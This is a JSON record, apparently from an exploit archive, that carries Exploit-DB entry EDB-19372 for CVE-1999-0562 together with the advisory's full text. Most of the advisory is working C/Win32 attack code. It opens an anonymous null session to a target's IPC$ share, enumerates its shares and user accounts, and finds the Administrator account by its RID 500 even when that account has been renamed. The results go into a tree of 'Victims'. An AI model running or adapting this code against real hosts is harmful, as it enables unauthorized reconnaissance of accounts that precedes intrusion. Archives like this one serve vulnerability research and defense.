{"exploit":{"id":"EDB-19372","name":"Microsoft Windows NT 4.0/SP 1/SP 2/SP 3/SP 4/SP 5 - Null Session Admin Name","description":"Microsoft Windows NT 4.0/SP 1/SP 2/SP 3/SP 4/SP 5 - Null Session Admin Name","cves":["CVE-1999-0562"],"author":"J D Glaser","published":"1999-06-28","platform":"windows","type":"dos","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/19372","path":"exploits/windows/dos/19372.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-19372.txt","vulnerabilities":[{"id":"CVE-1999-0562","state":"PUBLISHED","title":null,"titleSource":null,"description":"The registry in Windows NT can be accessed remotely by users who are not administrators.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-1999-0562","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-1999-0562"},"updatedAt":"2024-08-01T16:41:45.690Z","retrievedAt":"2026-11-27T18:11:48.347Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-19372.png?v=2","url":"https://exploitbin.com/exploits/EDB-19372","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-19372/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-19372/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"source: https://web.archive.org/web/1999/https://www.securityfocus.com/bid/494/info\n\nBy establishing a Null session with an NT host, an intruder can gain the name of even a renamed Administrator account. This is because even Null sessions are added to the Everyone group for the duration of the connection. This was done so that hosts not in the domain could still use MS Networking's browser functions.\n\nFirst - making a NULL Session connection\n\nOne way to this is by using the Net Use command with an empty password. Programmatically, it looks like this....\n\n//This function called from dialog that fills listbox with connections\n\nBOOL EstablishNullSession(CString TargetHost, CNTOHunterDlg* pDlg)\n{\n//Setup for UNICODE\nchar* pTemp = TargetHost.GetBuffer(256);\nWCHAR wszServ[256];\nLPWSTR Server = NULL;\n\n//Convert to Unicode\nMultiByteToWideChar(CP_ACP, 0, pTemp,\nstrlen(pTemp)+1, wszServ,\nsizeof(wszServ)/sizeof(wszServ[0]) );\n\n//Create the IPC$ share connection string we need\nServer = wszServ;\n\nLPCWSTR szIpc = L\"\\\\IPC$\";\nWCHAR RemoteResource[UNCLEN + 5 + 1]; // UNC len + \\IPC$ + NULL\nDWORD dwServNameLen;\nDWORD dwRC;\n\n//Setup Win32 structures and variables we need\nNET_API_STATUS nas;\n\nUSE_INFO_2 ui2;\nSHARE_INFO_1* pSHInfo1 = NULL;\nDWORD dwEntriesRead;\nDWORD dwTotalEntries;\n\n//Set up handles to tree control to insert connection results\n\nHTREEITEM machineRoot, shareRoot, userRoot, adminRoot, attribRoot;\n\nchar sharename[256];\nchar remark[256];\n\nif(Server == NULL || *Server == L'\\0')\n{\nSetLastError(ERROR_INVALID_COMPUTERNAME);\nreturn FALSE;\n}\n\ndwServNameLen = lstrlenW( Server );\n\n//Test for various errors in connection string and recover\nif(Server[0] != L'\\\\' && Server[1] != L'\\\\')\n{\n// prepend slashes and NULL terminate\nRemoteResource[0] = L'\\\\';\nRemoteResource[1] = L'\\\\';\nRemoteResource[2] = L'\\0';\n}\nelse\n{\ndwServNameLen -= 2; // drop slashes from count\nRemoteResource[0] = L'\\0';\n}\n\nif(dwServNameLen > CNLEN)\n{\nSetLastError(ERROR_INVALID_COMPUTERNAME);\nreturn FALSE;\n}\n\nif(lstrcatW(RemoteResource, Server) == NULL) return FALSE;\nif(lstrcatW(RemoteResource, szIpc) == NULL) return FALSE;\n//Start with clean memory\nZeroMemory(&ui2, sizeof(ui2));\n//Fill in the Win32 network structure we need to use connect API\nui2.ui2_local = NULL;\nui2.ui2_remote = (LPTSTR) RemoteResource;\nui2.ui2_asg_type = USE_IPC;\nui2.ui2_password = (LPTSTR) L\"\"; //SET PASSWORD TO NULL\nui2.ui2_username = (LPTSTR) L\"\";\nui2.ui2_domainname = (LPTSTR) L\"\";\n\n//MAKE THE NULL SESSION CALL\nnas = NetUseAdd(NULL, 2, (LPBYTE)&ui2, NULL);\n\ndwRC = GetLastError();\nif( nas == NERR_Success )\n{\nmachineRoot = pDlg->m_Victims.InsertItem(TargetHost, 0, 0,\nTVI_ROOT);\n}\n\n//THIS IS WHERE NT HANDS OUT IT INFORMATION\nnas = NetShareEnum((char*)Server, 1, (LPBYTE*)&pSHInfo1,\nMAX_PREFERRED_LENGTH,\n&dwEntriesRead,\n&dwTotalEntries, NULL);\n\ndwRC = GetLastError();\nif( nas == NERR_Success )\n{\nif(dwTotalEntries > 0)\n{\nshareRoot = pDlg->m_Victims.InsertItem(\"Shares\",\nmachineRoot,TVI_LAST);\nuserRoot = pDlg->m_Victims.InsertItem(\"Users\",\nmachineRoot,TVI_LAST);\nadminRoot = pDlg->m_Victims.InsertItem(\"Admin\",\nmachineRoot,TVI_LAST);\n\n}\nfor(int x=0; x<(int)dwTotalEntries; x++)\n{\n// Convert back to ANSI\nWideCharToMultiByte(CP_ACP, 0, (const unsigned\nshort*)pSHInfo1->shi1_netname, -1,\nsharename, 256, NULL, NULL );\n\nWideCharToMultiByte( CP_ACP, 0, (const unsigned\nshort*)pSHInfo1->shi1_remark, -1,\nremark, 256, NULL, NULL );\nCString ShareDetails = sharename;\nShareDetails = ShareDetails + \" - \" + remark;\n//fill the tree with connect info\nattribRoot = pDlg->m_Victims.InsertItem(ShareDetails,\nshareRoot,TVI_LAST);\npSHInfo1++;\n}\n}\n\n//My Wrapper function for listing users - see below\nDoNetUserEnum(Server, pDlg, userRoot, adminRoot);\n\n//WE ARE DONE, SO KILL THE CONNECTION\nnas = NetUseDel(NULL, (LPTSTR) RemoteResource, 0);\n\nTargetHost.ReleaseBuffer();\nSetLastError( nas );\nreturn FALSE;\n}\n\nThe following function is how one can programmatically determine the administrator status of an account......\n\nbool GetAdmin(char* pServer, char* pUser, CString& Name)\n{\nBOOL fAdmin = FALSE;\nDWORD dwDomainName,dwSize,dwAdminVal;\nSID_NAME_USE use;\nPSID pUserSID = NULL; // SID for user\nint rc;\nint iSubCount;\n\nbool bFoundHim = 0;\ndwDomainName = 256;\ndwSize = 0;\ndwAdminVal = 0;\niSubCount = 0;\n\n//Call API for buffer size since we don't know size beforehand\nrc = LookupAccountName(pServer,\npUser, pUserSID,\n&dwSize, szDomainName,\n&dwDomainName, &use );\nrc = GetLastError();\n\n//Allocate a larger buffer\nif(rc == ERROR_INSUFFICIENT_BUFFER)\n{\npUserSID = (PSID) malloc(dwSize);\n\n//Repeat call now that we have the right size buffer\nrc = LookupAccountName(pServer,\npUser, pUserSID,\n&dwSize, szDomainName,\n&dwDomainName, &use );\n}\n\n//Scan the SIDS for the golden key - ADMIN == 500\n\n//Get a count of SID's\niSubCount = (int)*(GetSidSubAuthorityCount(pUserSID));\n//Admin SID is the last element in the count\ndwAdminVal = *(GetSidSubAuthority(pUserSID, iSubCount-1));\n\nif(dwAdminVal==500) //TEST TO SEE IF THIS IS THE ADMIN\n{\nName.Format(\"Admin is %s\\\\%s\\n\", szDomainName, pUser);\nbFoundHim = true;\n}\n\ndelete pUserSID;\nreturn bFoundHim; //WE KNOW WHO HE IS, ADD HIM TO THE TREE\n}\n\n\n\nWrapper for Listing the user accounts.....\n\nvoid DoNetUserEnum(const wchar_t* pServer, CNTOHunterDlg* pDlg, HTREEITEM\nuserRoot, HTREEITEM adminRoot)\n{\nUSER_INFO_10 *pUserbuf, *pCurUser;\nDWORD dwRead, dwRemaining, dwResume, dwRC;\n\nchar userName[256];\nchar userServer[256];\n\ndwResume = 0;\n\nif(pServer[0] != L'\\\\' && pServer[1] != L'\\\\')\n{\n//Start sting with correct UNC slashes and NULL terminate\nRemoteResource[0] = L'\\\\';\nRemoteResource[1] = L'\\\\';\nRemoteResource[2] = L'\\0';\n}\nelse\n{\ndwServNameLen -= 2; // drop slashes from count\n\nRemoteResource[0] = L'\\0';\n}\n\nif(dwServNameLen > CNLEN)\n{\nSetLastError(ERROR_INVALID_COMPUTERNAME);\nreturn;\n}\n\nif(lstrcatW(RemoteResource, pServer) == NULL) return;\n\ndo\n{\n\npUserbuf = NULL;\n\n//THIS IS THE API THE NT USES TO HAND OUT IT's LIST\ndwRC = NetUserEnum(RemoteResource, 10, 0, (BYTE**) &pUserbuf, 1024,\n&dwRead, &dwRemaining, &dwResume);\nif (dwRC != ERROR_MORE_DATA && dwRC != ERROR_SUCCESS)\nbreak;\n\nDWORD i;\nfor(i = 0, pCurUser = pUserbuf; i < dwRead; ++i, ++pCurUser)\n{\n\n// Convert back to ANSI.\nWideCharToMultiByte( CP_ACP, 0, pCurUser->usri10_name, -1,\nuserName, 256, NULL, NULL );\n// Convert back to ANSI.\nWideCharToMultiByte( CP_ACP, 0, pServer, -1,\nuserServer, 256, NULL, NULL );\n\nif(!GotAdmin)\n{\n//use char strings\nCString Admin;\nGotAdmin = GetAdmin(userServer, userName, Admin);\nif(GotAdmin)\n{\nAdmin.TrimRight();\nHTREEITEM adminChild = pDlg->m_Victims.InsertItem(Admin,\nadminRoot, TVI_LAST);\npDlg->m_Victims.EnsureVisible(adminChild);\n}\n}\n\nCString strUserName = userName;\npDlg->m_Victims.InsertItem(strUserName, userRoot, TVI_LAST);\n\n}\nif (pUserbuf != NULL)\nNetApiBufferFree(pUserbuf);\n} while (dwRC == ERROR_MORE_DATA);\n\nif (dwRC != ERROR_SUCCESS)\nprintf(\"NUE() returned %lu\\n\", dwRC);\n}","sha256":"92f5b95ee969fed07331ebc7869b5841b35702069a9293fe76c3da7d7f86eb8d","bytes":6864,"fetchedAt":"2026-11-27T18:11:43.759Z","encoding":"utf-8 (display only; download retains original bytes)"}